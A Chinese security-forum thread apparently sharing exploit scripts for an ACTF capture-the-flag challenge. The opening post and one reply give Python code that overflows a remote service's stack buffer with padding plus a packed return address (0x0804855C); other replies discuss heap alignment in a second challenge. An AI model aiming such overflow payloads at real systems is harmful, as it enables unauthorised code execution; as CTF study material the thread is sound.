首页
社区
课程
招聘
[原创]ACTF EXP分析
发表于: 2014-4-10 16:56 6761

[原创]ACTF EXP分析

2014-4-10 16:56
6761
# -*- coding:utf-8 -*-
import socket
import struct
# 新建套接字
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  
#和服务端连接
s.connect(('218.2.197.236 ', 2009))
  
print s.recv(4096)
  
# 转换为\x5c\x85\x04\x08  可以用print repr(str)输出
str = struct.pack("I", 0x0804855C)
  
s.send("1"*128 + str + '\n')
  
#一直输出,当看到有结果了,暂停程序即可。
while(1):
    print s.recv(4096)
  
# 关闭套接字
s.close()

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 5
支持
分享
最新回复 (7)
雪    币: 211
活跃值: (52)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
观望。。。。。
2014-4-10 17:03
0
雪    币: 270
活跃值: (97)
能力值: ( LV8,RANK:140 )
在线值:
发帖
回帖
粉丝
3
赞 {您输入的信息太短,您发布的信息至少为 4 个字符。}
2014-4-10 18:58
0
雪    币: 1644
活跃值: (829)
能力值: ( LV10,RANK:161 )
在线值:
发帖
回帖
粉丝
4
支持 ,我很需要
2014-4-10 19:14
0
雪    币: 19
活跃值: (130)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
5
第一题我那天思路和你的一样,但是不知道why,exp就是溢出不了,估计是我Python不太熟。
2014-4-10 19:15
0
雪    币: 19
活跃值: (130)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
6
楼主,第二题那个malloc的细节是因为内存中,在堆分配的时候地址需要对其的原因,因为你的机器是64系统,按照内存对其的话,应该是按照8字节对其,4*8 == 32 == 0x20,所以不应该相差25而是相差32。
2014-4-10 19:22
0
雪    币: 81
活跃值: (56)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
import telnetlib
c = telnetlib.Telnet('218.2.197.236', 2009)
c.read_until("world", timeout=10)
c.write("\x5c\x85\x04\x08"*33+"\r\n")
print c.read_until("xxxxxxxx", timeout=5)
c.close()


第二道很没有意思,只要看懂代码就行,根本没有渗透
2014-4-10 19:30
0
雪    币: 341
活跃值: (85)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
8
那个25是最小的值哦。
2014-4-10 20:51
0
游客
登录 | 注册 方可回帖
返回
//